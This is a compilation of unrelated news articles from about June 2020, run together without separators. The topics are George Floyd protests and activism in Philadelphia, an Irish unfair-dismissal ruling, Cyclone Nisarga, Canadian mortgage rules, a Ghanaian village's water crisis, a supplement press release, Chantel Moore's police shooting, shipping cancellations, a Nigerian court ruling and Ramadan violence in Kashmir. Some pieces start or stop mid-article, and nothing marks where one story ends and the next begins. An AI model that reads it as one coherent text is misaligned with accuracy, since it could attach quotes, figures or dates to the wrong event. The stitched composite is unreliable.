Police were clear in their instructions and worked with the remaining protesters for more than an hour before using non-lethal irritants, Battle said in the statement. The protesters had every opportunity to peacefully leave and they chose otherwise. The leadership of this second group is not our community.

In a press release Thursday afternoon, Marshall said after speaking to the police department and sheriffs office, he was well-satisfied that the actions taken by police were reasonable under the circumstances.

After a peaceful protest, hosted by the local chapter of the NAACP  which abided by the law and should not be blamed for what came afterhundreds of hostile demonstrators ignored multiple requests by law enforcement to leave the area. Rather than leaving, those demonstrators put on gear and readied for battle, Marshall said in a statement.

The AG said he believed police used the least amount of force possible to disperse the crowd.
A family raises their fists in solidarity with thousands of protesters as they make their way throughout Philadelphia on Tuesday, June 02, 2020. Protests have been taking place across the country over the death of George Floyd at the hands of Minneapolis police. Read more

There are many reasons why you may not be able to physically join a protest during a pandemic. But that doesnt mean there arent other ways to speak out. If you arent able to leave your house but want to get involved, there are many ways to do so.

Lets be real here  whether or not you can join in on the ground, theres always a place for you, says Devren Washington, an organizer with Black Lives Matter Philadelphia. The people that are protesting are able-bodied people, and their actions are meant to activate everyone whos not there to do something.

Across the country, protestors are marching against police brutality after the killing of George Floyd at the hands of Minneapolis officers, and the fight extends much further, too. This is a fight against a long history of systemic oppression and racism, one you can join no matter where you are.

We turned to activists from local groups protesting right now, including Black Lives Matter Philadelphia, Reclaim Philadelphia, the Philadelphia Bail Fund, and Philly for REAL Justice, for ways to take action.

 READ MORE: How black Americans can practice self-care during these trying times. And how everyone else can help them.

Contact your local officials.

Call or email your elected officials, thats No. 1, says Washington. The impact thats seen on the street is designed to convert attention to elected officials, who you can contact directly.

To help city residents, media hub Philly We Rise has compiled a list of email addresses for Philadelphias mayor, the managing director, council members, and their legislative staff, along with information about issues for which many activists are fighting.

One of those issues: the Defund the Police campaign, top of many activists minds. Its focus: Mayor Jim Kenneys recent coronavirus-era budget proposal that cuts back on initiatives focused on youth violence prevention, workforce development, and arts and culture, while increasing the budget for the police department by $14 million more than was initially proposed. It also lays off hundreds of workers who run programs at recreation centers and libraries.

 READ MORE: From Friday: Peaceful protests and seeking solutions

Its No. 1 on my list, says Kelly Morton, lead organizer at Reclaim Philadelphia. Morton says that when the police have more money, but the public defense system is underfunded, it creates this obvious system of imbalance in power.

Activists urge you to voice your opinion by contacting both the mayor, who proposes the budget, and City Council, who vote to approve it. Email budget.hearings@phila.gov by June 8 to contact City Council before their public budget hearing. Your email will become part of the permanent record of the Councils hearing and will be made available to all Council members.

Take to social media

With the pandemic limiting our ability to see others, social media has a huge impact on the political discourse right now, says Washington.

Its one of your biggest tools in making sure youre sharing and having those tough conversations with the people in your community about whats really happening, he says. Social media humanizes what you see on the news, and when you engage on social media, youre able to move people. Even if its just one or two people  thats powerful.

While social media is a great way to spread information, its a landmine of misinformation, too. Be mindful of what youre ingesting, and try to follow more than those who solely back up your existing beliefs. When traversed cautiously, platforms like Twitter, Instagram, and Facebook can serve as robust educational resources, and a great way to speak out.

Follow black-led organizations and hear what theyre saying right now, says Morton. Listen first, and then take that action step.

If youre not sure the best way to approach social media or worried about saying the wrong thing, consider reaching out to one of the organizations you admire, says Morton. Reclaim Philadelphia invites you to message them through Instagram or Facebook for advice on how to thoughtfully show solidarity.

Donate

Many organizations have been working for years in the fight for racial justice. Show your support by contributing to their efforts.

When you donate to a small grassroots organization thats doing work to change the system, youre taking action to change something larger, says Morton. Racism is never one person, or one cop, or one judge. Its the systems that are built from the beginning to keep black people from having power.

Black Lives Matter, NAACP Legal Defense and Educational Fund, Black and Brown Workers Cooperative, Antiracist Research and Policy Center, Reclaim the Block, and Philadelphia Bail Fund are just a few organizations that activists involved in the current protests recommend. Philadelphia Bail Fund, where you can donate money to post bail for people who cant afford it, has put together its own list of suggestions on Twitter (@PhillyBailFund.).

Do your research and find local groups whose mandate matters to you.

Educate yourself

As Nelson Mandela puts it, Education is the most powerful weapon which you can use to change the world." And as director of Philadelphia Bail Fund, Malik Neal emphasizes theres no better time to start learning than now.

In a way, the past couple of weeks has been an education for the broader public about the real plight of what it means to be black in America, says Neal. Black people have been talking about this for a long time, but I think this moment can serve as an opportunity for everyone to learn about the larger injustices of our system so that we can push our leaders to make changes.

For many, the pandemic has brought extra time at home. Activists encourage you to use it to educate yourself, whether its through books or reading up on organizations in your own community fighting for change.

Consider buying those books from black-owned bookstores. Fishtowns Harrietts Bookshop, which specializes in books by black and women authors, posted a list of reading recommendations to Instagram (@harrietts_bookshop). Titles include So You Want To Talk About Race by Ijeoma Oluo and White Fragility by Robin DiAngelo. For other suggestions, check out TIMEs list of recommendations from black booksellers and publishers.

Hang a sign from your window

Movement for Black Lives, a coalition of 100 black-led organizations, recommends making a sign or banner to display in your yard or window. Its one of several low-risk ways you can stand in solidarity during the pandemic. (Others include making noise from your window to let people know Black Lives Matter, like many in Philly are doing as protestors march by.)

On their website, you can find lots of resources if you want to make signs or flyers, including tips on how to make a larger scale banner.

If you arent prepared to DIY it, Northern Liberties printing company M3 Printing is giving away a limited run of free Black Lives Matter posters. Order online at m3printing.com/store/product-view.html/112-Free-Posters for store pickup.

But remember, signs mean little if you dont stand behind their words.

Its a sign of solidarity, but I still experience racism from the same people who hang Black Lives Matter posters, says Meghan Malachi, organizer and educator for Philly for REAL Justice. If youre not doing broader work, hanging a sign in your yard is not doing much to raise the consciousness of anyone.
A widow of a senior manager who took his own life has won her battle against a Dublin-based investment management company concerning her late husbands unfair dismissal.

This follows Workplace Relations Commission (WRC) Adjudication Officer Penelope McGrath ordering the company to pay the woman who took the successful unfair dismissal case on behalf of her late husbands estate 41,000.

Ms McGrath found that the womans late husband, the Head of Product Management was unfairly dismissed by the company in June 2018.

The chronically depressed man died nine months later in March 2019 when he took his own life.

The WRC hearing heard that the man had been receiving treatment for his depression.

In her ruling, Ms McGrath stated that she accepted that a genuine redundancy situation existed concerning the Head of Product Management when the company made him redundant in June 2018.

She added, however: But I also accept that there is an obligation on the employer to demonstrate a fairness in reaching the decision of why a redundancy situation exists and who should be selected for that redundancy.

It does not always follow that the individual with the largest salary should be made redundant.

Ms McGrath stated that she was making a finding that this was an unfair dismissal due to the woefully inadequate procedures applied in processing a selection for redundancy.

Ms McGrath stated that there was no evidence to suggest that the deceased was ever put on formal notice that his job was at risk, was never offered alternative employment and was never allowed to make alternative proposals or in any other way justify his retention.

Ms McGrath stated that the man was recruited by the Irish company in 2016 to expand into the lucrative London market and create a "pipeline" of opportunity-seeking investors willing to engage the company.

Ms McGrath accepted that there was a genuine redundancy situation.

She accepted that evidence of the company CEO that after a period of nearly two years the strategy of trying to break into the London market was proving too difficult to sustain.

She stated that the CEO went to great lengths to state that this was not a reflection of the deceaseds hard work and ability to connect but had more to do with the product he was promoting which simply could not gain traction in this highly competitive field and marketplace.

Ms McGrath stated that at the end of two years with an investment of 500,000 already made, she recognised that the company was entitled to implement a closure of the London office.

The deceased man split his work life between London and Dublin. He continued to maintain his marital home in London, but also rented a fully equipped apartment in Dublin to allow for the commuting he was expected to do as part of his employment.
Mumbai, June 5 : Two days after Cyclone Nisarga claimed six lives and wreaked havoc in over a dozen districts, Chief Minister Uddhav Thackeray on Friday hopped onto a boat to visit Raigad - the worst-hit in Maharashtra.

He took a Ro-Ro boat for the hour-long ride from Bhaucha Dhakka in south Mumbai to Alibaug on the mainland, accompanied by Ministers Aditya Thackeray, Aslam Shaikh, Additional Chief Secretary A. K. Singh and other senior officials.

At Raigad, he was scheduled to visit some of the worst-hit villages along with Collector Nidhi Choudhari and Superintendent of Police Anil Paraskar and others.

On Thursday, Energy Minister Dr. Nitin Raut had visited Raigad to take stock of the prevailing situation and direct the efforts to restore power supply in the district on top priority.

In Raigad, an estimated few lakh homes have been damaged, while around 13,000 'kutchaa' houses reduced to rubble; over 100,000 trees uprooted; thousands of electric poles; 14 electric substations and 1,962 transformers were razed; 500 mobile towers have fallen; 10 fishing boats damage;, over 5,033 hectares of farmlands besides 12 acres of fish farms have been destroyed.

Thackeray on Thursday held a video-conference meeting with all the District Collectors and Divisional Commissioners for an assessment of the situation and directed that all 'panchnamas' must be completed within 2 days to enable the government extend aid to the affected people.

Relief and Rehabilitation Minister Vijay Wadettiwar has said that around 13-14 districts - or more than one-third of Maharashtra's 36 districts - were affected by Nisarga and he would go on a tour from Saturday for a spot assessment of the damages.

Nearly 76,200 people from low-lying or risk-prone areas were shifted to safer locations to avoid the cyclone fury which claimed 6 lives and injured another 16 in different parts of the state.
Canada Mortgage and Housing Corp. (CMHC) has raised the qualifications for insured mortgages in a move some believe will make it tougher for home buyers to get a foot on the property ladder.

The agency says the changes are designed to protect itself from financial risk and save consumers from over-indebtness.

CMHC did not, however, take the more drastic step of raising the minimum down payment from 5 per cent to 10 per cent  an idea that had been floated recently by its CEO Evan Siddall. He cited the possibility that as many as 20 per cent of homeowners could be in mortgage deferrals by the fall. If unemployment remains high, some of those mortgages could go into arrears and, ultimately, foreclosure.

Under the new CMHC rules, which take effect July 1, banks will be bound to the standard 35/42 GDS (gross debt service ratio) and TDS (total debt service ratio) used to assess mortgage loan applicants. Until now borrowers had been allowed to reach a 39/44 ratio.

The GDS measures the carrying costs of the home, including mortgage, taxes and heating, against the borrowers pre-tax income. The TDS looks at the borrowers overall debt, incorporating things like car payments and credit cards.

CMHC will also require at least one person on the mortgage to have a minimum credit score of 680 and it will no longer accept non-traditional sources of down payments, such as unsecured personal loans or unsecured lines of credit as equity for insurance purposes.

Most first-time home buyers use their savings, borrow from their retirement savings or receive gifts to finance their down payments.

In a CMHC statement Thursday, Siddall said the pandemic has exposed long-standing vulnerabilities in Canadian financial markets.

The changes to its underwriting will protect home buyers, reduce government and taxpayer risk and support the stability of housing markets while curtailing excessive demand and unsustainable house price growth, he said.

CMHC has also suspended refinancing for multi-unit mortgage insurance except in cases where the money is being used to fund repairs or reinvest in the housing.

Mortgage expert James Laird, president of CanWise Financial and RateHub, said the changes will diminish buying power by about 12 per cent, mostly due to the GDS changes that will make it tougher for first-time home buyers to qualify for insured loans.

Typically, buyers with a credit score between 620 and 680 would be able to get a mortgage.

It reduces the number of people who can qualify for mortgages and, of those people that qualify, it reduces the amount of money they get, he said.

Ratehub.ca says the mortgage qualifying rate of 4.94 per cent and a GDS limit of 39 would allow a buyer with $100,000 in income and a 10 per cent down payment to purchase a home for $524,980. Under the GDS limit of 35, the same buyer could only buy a $462,860 house.

The changes suggest that CMHCs entire portfolio was based on the assumption that house prices will always rise, said Realosophy president John Pasalis.

Typically when the economy slows down, policy-makers relax credit to fuel spending, he said.

When youre tightening it, its like their models dont anticipate any losses because they need to scale back because theyre worried about losses, said Pasalis.

That CMHC allowed higher GDS thresholds for eight years has contributed to people taking on more debt, he said.

CMHC is forecasting a 9- to 18-per cent drop in home prices with recovery not expected until the end of 2022.

On Wednesday, the Toronto Region Real Estate Board reported that GTA home prices actually rose 3 per cent year over year, up 4.6 per cent over April.
"If you are someone who fears toads you can't fetch or drink our water. Whenever we put our buckets into the well to fetch, the toads will sneak in and when you are done and carrying it, the toads will pop up and float on top of the water looking at you and you have no choice but to carry it home. And those who are afraid will panic and accidentally drop the water halfway," a resident laments.

Residents in Gil-Nating in Kpalwega electoral area in the Bawku Municipality of the Upper East Region have threatened to boycott the 2020 general elections if they are not provided with portable water.

Gil-Nating, a farming community with a population of more than 800 lacked have access to several social amenities and basic life essentials including safe water.

The residents in the community drink water from a dirty dugout which is only accessed after a trek of many miles. Their livestock also depends on the same source of water.

Modern Ghana News visit to the community revealed that school children and women lose many productive hours in search of water and sometimes boil the water before consumption.

Some of the women in the community who spoke to the news team said the community is in dire need.

Paul Ayaaba, a health worker in Gil-Nating told the news team that, they will boycott the 2020 general elections if nothing done to provide them with potable water, an essential commodity for life.

According to paul, they have been drinking from the hand-dugout well filled toads for over 30 years.

He stressed that several requests have made to the authorities through the area Assemblyman but to no avail.

He indicated that as a health worker, each day passes without they recording cases of diarrhoea, typhoid and cholera in the area.

Lahadi Ayaaba, a native said politicians always come to them on election year to promise but have failed to fulfill a single promise. "If you are someone who fears toads you won't fetch or drink from our water," Alahadi Ayaaba said.

Khalifa Iddrisu, a resident also said, under the John Mahama era, a borehole was construction but water failed to gash out leaving it dried up. " Our issue is that we won't vote again because we don't see the use of us voting and they not fulfilling the same promises they keep coming every election year with."

The Assemblymember of Kpalwega Electoral Area, Agomah A. Elvis called on the Municipal Chief Executive, the Member of Parliament for the area and other spirited individuals to come to their aid.

He lamented that at this 21st century they still have to drink directly from hand-dug wells.

He called on Ghana Water Company Limited to extend its coverage to the electoral area to help alleviate the plight of the people.
MUMBAI, June 5, 2020 /PRNewswire/ -- As the Covid-19 pandemic continues to unleash chaos across the globe, many of us have had the privilege to adjust to a new normal of working from home and staying sheltered. However, this privilege doesn't extend to everyone. For over 65 days now, the city's police force comprising of brave men and women have been working day and night to fight the spread of Covid-19. They are at the forefront of this invisible war and is also at the maximum risk of contracting this virus. Building immunity is the need of the hour and in a bid to support the brave Mumbai Police, Meyer Vitabiotics in partnership with Rohit Shelatkar's Grand Maratha Foundation has come forward to provide them with its Wellman, Wellwoman and Ultra D3 immunity boosting supplements.

Wellman is scientifically formulated for building immunity and overall well-being of males. On the other hand Wellwoman is specially made to contribute towards female health and immunity. The company will distribute 40000 units of Wellman and 6000 units of Wellwoman immunity boosting supplements. In addition, the company will also be distributing 46000 packs of Ultra D3 vitamin D supplements to the entire force.

Expressing his views Mr. Rohit Shelatkar, Vice-President at Meyer Vitabiotics said, "It gives us immense pleasure to support our Mumbai Police Force who are working day and night to fight this pandemic. Wellman and Wellwoman tablets are scientifically researched and have proven to boost one's immunity. We want to thank the Mumbai Police Force for their commitment to the cause and extend our care by providing them with our Wellman, Wellwoman and Ultra D3 supplements."

Meyer Vitabiotics together with the Grand Maratha Foundation humbly support the Mumbai Police Force for their dedication in fighting the pandemic. Truly, they are one of the Real Heroes of Mumbai.

About Meyer Vitabiotics:

Meyer Vitabiotics is part of the UK's No. 1 Vitamin Company Vitabiotics Ltd, headquartered in London. The organization has proven itself as one of the leading pharmaceutical manufacturers with a range of pioneering Vitamin and Mineral Supplements available in more than 110 countries. Most prominent products like Wellman, Wellwoman, Ultra D3, Perfectil, Pregnacare, Menopace etc. are all market leading supplements in their respective segments. Meyer Vitabiotics is committed to excel in human health care, research and providing Nutrition Supplements for all age groups. At Meyer Vitabiotics high emphasis has always been laid on improving the production technology, safety and environment protection in production system.

Photo: https://mma.prnewswire.com/media/1177160/Meyer_Vitabiotics_CP_of_Mumbai.jpg

SOURCE Meyer Vitabiotics
FREDERICTON - A 26-year-old Indigenous woman from British Columbia who was fatally shot by police in northwestern New Brunswick was remembered Friday as a caring person as questions were raised about police conduct of so-called "wellness checks."

Hey there, time traveller!

This article was published 5/6/2020 (594 days ago), so information in it may no longer be current.

Chantel Moore is shown in this undated photo posted on a GoFundMe memorial page, Support for family of Chantel Moore. A 26-year-old Indigenous woman from British Columbia has been shot and killed by police in northwestern New Brunswick. First Nations groups identified the woman as Chantel Moore. THE CANADIAN PRESS/HO, GoFundMe *MANDATORY CREDIT*

FREDERICTON - A 26-year-old Indigenous woman from British Columbia who was fatally shot by police in northwestern New Brunswick was remembered Friday as a caring person as questions were raised about police conduct of so-called "wellness checks."

Chantel Moore was killed early Thursday morning when police arrived at her home in response to a request to check on her well-being. Edmundston police say their officer encountered a woman with a knife making threats. She was shot and died at the scene despite attempts to resuscitate her.

Moore's grandmother, Grace Frank, said her granddaughter was "tiny" and she doesn't believe she could have attacked the officer.

"My granddaughter was the most beautiful person and the kindest person you could ever meet," she said from her home in Tofino, B.C. "She was so lovable and caring."

Frank said Moore had lived with her for a number of years as a teenager before moving in with other relatives and later settling in Campbell River, B.C., where she met her boyfriend and had a daughter named Gracie.

Frank said her daughter  Moore's mother  had been raising Gracie in New Brunswick, and Moore recently moved there to be with her mother and daughter and to go to college. She said she was not aware that Moore had any mental health issues.

"It is so difficult. We're in disbelief," Frank said crying. "We can't believe it. It's not our girl. She would never attack anybody."

Quebec's independent police investigation agency has begun investigating the Edmundston shooting at the request of the RCMP, which is providing forensic support. In a brief statement, the agency said it's investigation will determine if the information provided by police is accurate.

The City of Edmundston and the Edmundston Police Force said Friday they will make no further comment.

In Ottawa Friday, Indigenous Services Minister Marc Miller said the family deserves answers, quickly. "It was a wellness check and someone died," he said. "I can't process that."

The Nuu-chah-nulth Tribal Council in B.C. called for immediate action and for the independent investigation to be conducted in a timely way.

The council represents 14 First Nations including the Tla-o-qui-aht, to which Moore belonged.

"We're very close-knit communities," council vice-president Mariah Charleson said. "The whole Nuu-chah-nulth Nation is grieving."

Charleson said Moore was a friendly face when she worked at the Tseshaht market and Fas Gas Plus gas station in Port Alberni and is being remembered by friends for her bubbly personality.

Her death on the one-year anniversary of the release of the Missing and Murdered Indigenous Women and Girls highlights inaction to prevent avoidable deaths. Investigations can take years with no results, she said.

"For far too long, Indigenous people are left on the back burner and our families and communities are left waiting with no answers," she said.

Archie Kaiser, a professor at the Schulich School of Law at Dalhousie University in Halifax, said there have been many examples of "wellness checks" going awry.

"In every major city, and in rural areas as well, there continue to be instances where the police fail to discharge their service obligations in terms of treating people compassionately, respecting their human rights," he said Friday. "In the worst cases, that has resulted in a preventable death, and there continue to be such tragic outcomes."

He said the 911 operator needs to gather as much information as possible and ensure that information is passed along to the responding officers. Officers need to be equipped "to deal with the person's needs in a sensitive and respectful way," he said.

A Halifax-based group Women's Wellness Within said it should not be the police who are sent to check on people's well-being, noting that studies have shown that the victims of many such police shootings are in mental distress.

The group is one of many calling for the "defunding" of police, and redirecting funding towards mental health services.

Akwasi Owusu-Bempah, an assistant professor of sociology at the University of Toronto Mississauga, said it's unfortunate that police become first responders to people who are experiencing a mental health crisis.

He was reacting to the death of 29-year-old Regis Korchinski-Paquet.

The Toronto woman fell to her death from her 24th-floor balcony during an interaction with police last Wednesday.

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Meanwhile Lorraine Witman, president of the Native Women's Association of Canada, called for federal action in light of Moore's death, saying the government has yet to respond to the 231 calls for justice of the National Inquiry into Missing and Murdered Indigenous Women and Girls.

Witman said Indigenous women have been watching with interest what is happening in the United States, and in Canada, after police in Minneapolis killed George Floyd.

"We have seen the outrage and the protest. And we share those feelings. But we also wonder, where is the outrage when young First Nations women and girls die violently in Canada, year after year?" she asked.

An online petition calling for the Edmundston police officer to face criminal charges had collected about 6,400 names by mid-afternoon Friday, while a Go Fund Me page had raised about $80,000 for Moore's family.

 With files from Liam Casey in Toronto and Amy Smart in Vancouver.

This report by The Canadian Press was first published June 5, 2020.
Television actor Rajesh Kareer, who a few days ago had asked for monetary help to help him get through difficult times, has asked people to stop depositing more money into his account, as he now has enough. In an emotional video posted a few days ago, the actor had said, I am in desperate need of help and I appeal to you. My situation is quite critical.

In a new video posted on Facebook, Rajesh said, Please dont deposit more money in my account as I feel I have received more than I am worthy of. He added, It feels like all of India came out to support me and has blessed me and my family.

Watch | TV actor Rajesh Kareer shares emotional post after getting financial help

The actor continued, I am no longer in the same situation that I was in last week. He also thanked the media for amplifying his plea, and thanked everyone for listening to him. He said that he doesnt know how hed ever be able to repay this gesture.

In his original post, the actor had said, I want to make a humble request to you to contribute 300-400 if you can. If you can help with this much I dont know when shoots will resume or if I will get any work. Life has come to a standstill and I am unable to understand anything. I want to live. Several members of the television industry have spoken about non-payment of dues during the coronavirus lockdown. One unemployed actor, Manmeet Grewal, took his own life.

Also read: Begusarai actor Rajesh Kareer says co-star Shivangi Joshi gave him 10,000 after moving video of him asking for help went viral

It was reported that Rajeshs co-star in the series Begusarai, Shivangi Joshi, gave him 10000 to help him stay afloat. Rajesh told SpotboyE in an interview, I am really happy with her gesture. We were not so close to each other on the set but despite that she came ahead to help me in this crisis, it means a lot.

Follow @htshowbiz for more

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Australia's top universities are gearing up for the sector's biggest overhaul in decades, with the risks posed to research by plunging overseas student income driving them to consider industry-wide reforms such as mergers and specialist universities.

But the sector's smaller players are already pushing back, saying changes could hurt regional cities and universities.

Vicki Thomson, Group of Eight chief executive, says the impact of COVID-19 means everything is on the table to save the higher education sector. Credit:Attila Csaszar

In an admission major changes were needed, the Group of Eight this week commissioned hundreds of academics to come up with ideas for a reform blueprint to offer the government. "Everything is on the table," said Go8 chief executive Vicki Thomson.

It comes as NSW agreed to guarantee $750 million in loans to help the state's universities recover from the COVID crisis, but said they would be conditional on universities making their operations more sustainable.
THE Alliance and 2M have canceled 75 sailings scheduled for the third quarter.

In a joint announcement, THE Alliance  Hapag-Lloyd Aktiengesellschaft (OTC: HPGLY), HMM, Ocean Network Express and Yang Ming  said Wednesday that it will continue to have blanked sailings through September at least. It said while the Asia-North Europe trade has been extraordinarily impacted by the COVID-19 pandemic, adjusted schedules in all trades will continue in order to match market demand.

Among THE Alliance services affecting U.S. ports, Atlantic Loop 4 (AL4) includes an eastbound sailing from New Orleans. A sailing early in the third quarter, scheduled for July 11, has been blanked. AL4 also calls Houston.

On the West Coast North America-Australasia (WSN) service, the Kota Ekspres was discharging cargo at the Port of Long Beach on Wednesday. The vessel then will be taken out of service until sailing from the Port of Oakland on July 31.

Hapag-Lloyd said the coronavirus pandemic has had "a major impact on the logistics industry and will continue to cause disruptions for some time to come." Hapag-Lloyd provides updates on blanked sailings on its website.

The 2M alliance of Maersk and Mediterranean Shipping Co. (MSC) also has announced the cancellation of its Dragon (Asia-Mediterranean) and Swan (Asia-North Europe) services for the entire third quarter.

MSC said on its website that as part of its "ongoing prudent response to the decline in demand amid COVID-19," its blanked Asia-Europe network was being extended during the summer.

The cancellation of the Dragon and Swan services amounts to a capacity reduction of 22% between Asia and Europe, according to Lars Jensen, CEO of Copenhagen, Denmark-based SeaIntelligence Consulting.

"There is a slight caveat though. They also expect to deploy a sweeper' service termed Griffin by MSC. It will be a fortnightly service catering for cargo to both the Mediterranean and North Europe. The vessels are not yet announced but will offset the cancellation somewhat and lead to an approximate capacity reduction of 15-18% instead of 22%," Jensen wrote in an online post.

Story continues

Jensen said the blanked sailings announced by 2M and THE Alliance now total 75 for Q3.

The Griffin service is scheduled to start in the second half of June with the following rotation: Shanghai  Ningbo  Yantian  Singapore  Tanjung Pelepas  Port Said  Rotterdam  Antwerp  Singapore  Ningbo.

MSC said, "The service is being deployed to ease ongoing supply chain disruption from the impact of COVID-19. However, it will only sail if demand is gradually growing."

MSC said it also has decided to extend the suspension of its Elephant service, which connects Thailand with the U.S. East Coast. The service was suspended in mid-April "in order to match network capacity with the reduction in demand for cargo shipments due to COVID-19."

MSC said the suspension will be extended until at least the end of September and will not resume until there is a "sufficient increase in market demand."

On Thursday 2M said it was extending the suspension of its trans-Atlantic TA4/NEUATL4 service through the week of July 6. That service, with a weekly capacity of 5,220 twenty-foot equivalent units (TEUs), has a rotation of Antwerp  Rotterdam  Bremerhaven  Liverpool  New York  Savannah  Port Everglades  Charleston  Antwerp.

More blanked sailings expected

Jensen said he expects the OCEAN Alliance  APL, CMA CGM, Evergreen Line, COSCO Shipping Holdings Co., Ltd. (OTC: CICOF) and Orient Overseas (International) Limited (OTC: OROVF)  soon will announce its own blankings for Q3.

The OCEAN Alliance already has canceled a June 16 sailing from Fuqing, China, and a return from Los Angeles on July 6.

A Qingdao, China, rotation with a sailing from Savannah, Georgia, on July 24 also has been canceled.

On Thursday, the OCEAN Alliance confirmed two Asia-Europe voided sailings from Ningbo on July 14 and 28. The capacity on the Evergreen-chartered vessels is 14,000 TEUs.

Simon Sundboell, founder and CEO of Copenhagen-based eeSEA, told FreightWaves last month that if mass cancellations extended into July it would illustrate that carriers were not receiving enough bookings from shippers and suggest a slow economic recovery following the COVID-19 pandemic.

Click for more FreightWaves articles by Kim Link-Wills. Senior Editor Greg Miller contributed to this article. Click for more FreightWaves articles by Greg Miller.

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 2020 Benzinga.com. Benzinga does not provide investment advice. All rights reserved.
Rauf Aregbesola, as governor, renamed Osun state as State of Osun in 2011  as part of his campaign for the restructuring of Nigeria...

Rauf Aregbesola, as governor, renamed Osun state as State of Osun in 2011  as part of his campaign for the restructuring of Nigeria and true federalism.





He had copied the style of American states which are referred to, for instance, as state of New York rather than New York state.





Not so fast, the Osun state high court sitting in Osogbo, the state capital, has ruled.





Mathias Agboola, the judge, on Wednesday, held that it is unconstitutional to rename Osun state as the state of Osun  declaring it as mere artistic coloration.

Kanmi Ajibola, a lawyer in the state, had instituted a suit against the state government over the levy of a personal tax of N5.3 million imposed on him by the state Internal Revenue Service (IRS).





Ajibola contended that the levy was illegal because the law upon which the tax was issued was made by The House of Assembly of State of Osun.





He described the tax demanded as indictive, punitive and speculative because he usually held opposing views to those of Aregbesola.





The official handle of the state government, @stateofosun, tweeted the judgment on Thursday.

'State of Osun' unconstitutional, declares court



On Wednesday, Justice Mathias Agboola of the Osun State High Court declared unconstitutional the rendering State of Osun adopted by the State Government.  Government of Osun (@StateofOsun) June 4, 2020

M. Popoola, the state counsel, had urged the court to strike out the case for lack of jurisdiction.





He said Ajibola did not seek all necessary means of settlement before approaching the court.





Delivering judgement, Agboola upheld the submissions of the applicant that the State of Osun is unconstitutional.





He warned lawyers to be wary of the legal implications of referring to Osun State as State of Osun.





However, the judge upheld the submission of the defence that Ajibola should have sought other means of settlement provided by the tax law before filing a suit before the court.





Ajibola had filed a similar case in 2017 and the Osun state high court sitting in Ilesa had declared that the renaming of Osun state as State of Osun by Aregbesola was illegal and therefore, null and void.





Yinka Afolabi, the judge, ruled that the law and its makers were unknown to the 1999 constitution.




By Auqib Javeed, TwoCircles.net

The holy month of Ramadan all over the world witnesses festivities and joy among Muslims. For Muslim majority Kashmir, the month adds more violence and mayhem, reports Auqib Javeed.

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Srinagar: Since 2017, the holy Muslim month of Ramadan in Kashmir has been the bloodiest month of year recording at least 199 killings in different incidents of violence in the conflict-torn region  with this years Ramadan alone recording 44 killings. Data for the past four years reveals increased violence, bloodshed, protests, and a spike in encounters with militants and armed forces during the Muslim holy month.

Data compiled by prominent human rights group Jammu Kashmir Coalition of Civil Society (JKCCS), a copy of which lies with TwoCircles.net, reveals that among 199 people killed in Ramadan since 2017 in Kashmir, 100 are militants, 50 are civilians and 49 belonged to armed forces and Jammu Kashmir police personnel.

Observers in Kashmir believe that the increase in day to day violence in Kashmir peaked following the killing of Hizbul Mujahideen commander Burhan Wani in July 2016.

The four-year period from 2016 to 2019 recorded the killing over 700 militants and points to the frequency of violent encounters between armed forces and militants, besides the killing of 494 civilians and 517 armed and police forces personnel in the same period.

Ramadan in 2017 saw a total of 54 killings, which included 16 armed forces, 30 militants, and 8 civilians.

In 2018  despite the call for ceasefire announced by Government of India following requests by Mehbooba Mufti led coalition government in Jammu and Kashmir to cease violent operations, the violence didnt abate and the ceasefire didnt yield any positive results.

Despite the call for a ceasefire, the holy month of Ramadan in 2018  which fell on May 16 and concluded on June 14  witnessed 39 killings, which included 16 armed forces, 23 militants and 19 civilians and over 60 incidents of militant-related violence.

During the ceasefire, there was a spurt in grenade attacks too. At least 18 grenade attacks took place which left nearly 60 people, including 27 security forces personnel injured, the JKCCS report reveals.

Pertinently  as per JKCCS, the year 2018 was the deadliest year of the last decade as violence peaked during the year resulting in the killing of at least 586 people in different incidents of violence, which is highest in the last decade.

The violence continued into 2019.

The holy month of Ramadan in 2019, which fell on May 7 and concluded on June 4, saw an uptick in violent incidents in Kashmir, with almost daily encounters, Cordon and Search Operations (CASOs), killings, shutdowns and protests.

Data accessed by TwoCircles.net revealed that Jammu and Kashmir witnessed a total of 43 killings, which included 25 militants, 13 civilians, and five armed forces personnel in the holy month of Ramadan in 2019.

In 2019, the month of Ramadan saw almost a daily occurrence of encounters between armed forces and militants, with at least 26 encounters.

The trend of increased violence continued into 2020 despite repeated claims by the Government of India that abrogation of Article 370 of the Indian constitution in August 2019 had brought visible change on the ground in Kashmir.

The first five months of 2020 has witnessed the killing of nearly 80 militants and 25 armed forces personnel. The first five months have also seen a spurt in gunfights. In fact, the number of gunfights since March this year is higher compared to gunfights in the six months of the shutdown after the government of India scrapped Article 370 of the Indian constitution on August 5, 2019.

Amid the ongoing COVID-19 pandemic, the frequency of encounters, clashes, destruction of property in the just concluded holy month of Ramadan has left people reeling under the cloak of daily violence. The just-concluded month of Ramadan  which fell on April 25 and concluded on May 23  witnessed 44 killings, which included 12 armed forces personnel, 22 militants and 8 civilians. As many as twenty structures were destroyed during encounters and mobile internet was shut twice in Srinagar and as many times in South Kashmir areas where encounters occurred.

Kashmir based political observers see the spike in violence to continue until New Delhi takes any serious initiative of reaching out to the people for a meaningful dialogue process.

Noor Ahmad Baba, political commentator and former head of Kashmir Universitys Political Science department told TwoCircles.net that BJP led Govt at Centre has not only alienated the common people but their own mainstream politicians here as well.

The violence will increase. Youth will continue to pick up arms out of frustration and they will be killed because they cant fight such a huge army, Baba said.

Author and political commentator Gowhar Geelani said it is a matter of research to find out why Kashmir is witnessing a spike in militancy-related cases and counter-militancy operations.

I believe that politics has to take centre stage to alter the status quo or else only more destruction awaits and the future looks darker than it is now. Better sense has to prevail, Geelani said.

Geelani believes that the institution of dialogue and rationality in Jammu and Kashmir is in suspended animation just like the J&Ks Legislative Assembly is since June 2018.

All the middle ground stands obliterated as if talking about dialogue, politics and solutions has been criminalised, he argues.

Common Kashmiris said that the recent month of Ramadan saw only bloodshed and it has been the same for the past few years. They see no breakthrough in mitigation of violence.

Ramadan is the month of supplication. People tend to pray peacefully but when you witness killing and bloodshed in this month too, you can imagine the plight of the people, Mohammad Ubair, a student of Kashmir University said.

Mehraj-ud-din Bhat, a researcher of Contemporary Islamic Studies sees the spike of violence in Ramadan as to crush the majority sentiment in the sacred month.

The intensification of operations against the militants with an unprecedented increase in the month of Ramadan seems a structural pattern to hurt sentiments of Muslims, Bhat said.

However, the counter-insurgency grid in the valley doesnt see any reason for the spike of encounters and violence in Ramadan.

